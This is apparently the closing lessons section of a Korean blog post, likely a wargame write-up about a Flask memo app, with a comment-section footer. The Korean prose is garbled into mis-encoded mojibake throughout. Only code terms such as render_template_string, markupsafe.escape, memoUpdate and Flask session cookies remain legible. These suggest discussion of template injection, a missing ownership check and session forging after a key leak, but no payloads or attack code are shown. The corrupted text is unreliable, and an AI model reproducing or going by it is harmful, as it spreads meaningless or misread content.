render_template_string ์์ฒด๊ฐ ์ํํ ๊ฒ ์๋๋ผ, ์ฌ์ฉ์ ๊ฐ์ด ํ
ํ๋ฆฟ ์์ค๋ก ๋ค์ด๊ฐ๋ ๊ฒ
์ํํ๋ค. .format() ์ด๋ f-string ์ด๋ ๋ฌธ์์ด ์ฐ๊ฒฐ์ด๋ , ํ
ํ๋ฆฟ ๋ฌธ์์ด์ ๋ฐํ์์ ์กฐ๋ฆฝํ๋
์๊ฐ ๊ทธ ์์ ์ฌ์ฉ์ ๊ฐ์ ์ฝ๋๊ฐ ๋๋ค. ๊ฐ์ ํญ์ ์ธ์๋ก ๋๊ธด๋ค. ์ด์ค์ผ์ดํ๋ก ๋ง์ผ๋ ค๋ ์๋๋
ํ์๊ณ ๋ค โ markupsafe.escape ๋ ์ค๊ดํธ๋ฅผ ๊ฑด๋๋ฆฌ์ง ์์ผ๋๊น.
์์ ์ ๊ฒ์ฆ์ "์ฝ์ด ์จ ํ"๊ณผ "์ธ์ "์ ๋์กฐํ๋ ๊ฒ์ด๋ค
memoUpdate ๋ ๋์ ํ์ ์ด๋ฏธ ์ฝ์ด ๋๊ณ ๋ ๊ทธ๊ฑธ ์ธ์
์ฌ์ฉ์์ ๋น๊ตํ์ง ์์๋ค. ๋ก๊ทธ์ธ
์ฌ๋ถ๋ง ํ์ธํ๋ ๊ฐ๋ฅด๋๋ ์ธ์ฆ์ด์ง ์ธ๊ฐ๊ฐ ์๋๋ค. ๋์ ๊ฐ์ ๊ฒ์ผ๋ก ์ทจ๊ธํ๋ฉด ์ด๋ฐ ๊ตฌ๋ฉ์ด
๋จ๋๋ค.
์ธ์ ํค๊ฐ ์์ค์ ์์ผ๋ฉด ์ธ๊ฐ ๋ก์ง ์ ์ฒด๊ฐ ๋ฌด์๋ฏธํด์ง๋ค
Flask ์ธ์
์ฟ ํค๋ ์๋ช
๋ง ๋ถ๋๋ค. ํค๋ฅผ ์๋ ์ฌ๋์ ์๋ฌด uid ๋ ๋ด์ ์ ์๊ณ , ๊ทธ๋ฌ๋ฉด ๋ฐฉ๊ธ
๋ฃ์ ์์ ์ ๊ฒ์ฆ๋ ์ ๋ฉด์ผ๋ก ํต๊ณผํ๋ค. ๊ฐ๋ณ ๋ผ์ฐํธ๋ฅผ ์๋ฌด๋ฆฌ ์ ๋ง์๋ ํค ํ๋๊ฐ ์๋ฉด
๊ทธ ์๋๊ฐ ์ ๋ถ ๋ฌด๋์ง๋ค.
๋ก์ปฌ์์ ๋ค ๋๋ด๊ณ ์ฌ๋ฆฌ๋ ๊ฒ ๊ฒฐ๊ตญ ๋น ๋ฅด๋ค
30์ด ์ ํ์ด ์๋ ์ ์ถ ํผ์ ๋ถ์ด ํ๋์ฉ ๋ง์ถฐ ๋ณผ ์๋ ์์์ง๋ง, ์คํค๋ง๋ฅผ ์ญ์ฐํด ๊ฐ์ ์๋ฒ๋ฅผ ๋์ ๋๊ณ ์ ๊ฒ๊ธฐ์ ํ๊ท ํ ์คํธ๋ฅผ ๋จผ์ ๋ง๋ ๋์ ์ ์ถ์ ํ ๋ฒ์ผ๋ก ๋๋ฌ๋ค. usage ํ์ด์ง๊ฐ "๋ก์ปฌ ํ๊ฒฝ์์ ํ ์คํธ ํ ์๋ฒ์ ๊ฒ์ฆ ๊ณผ์ ์ ๋ฐ๋ ๊ฒ์ ์ถ์ฒ"ํ๋ค๊ณ ์ ์ด ๋ ์ด์ ๊ฐ ์๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ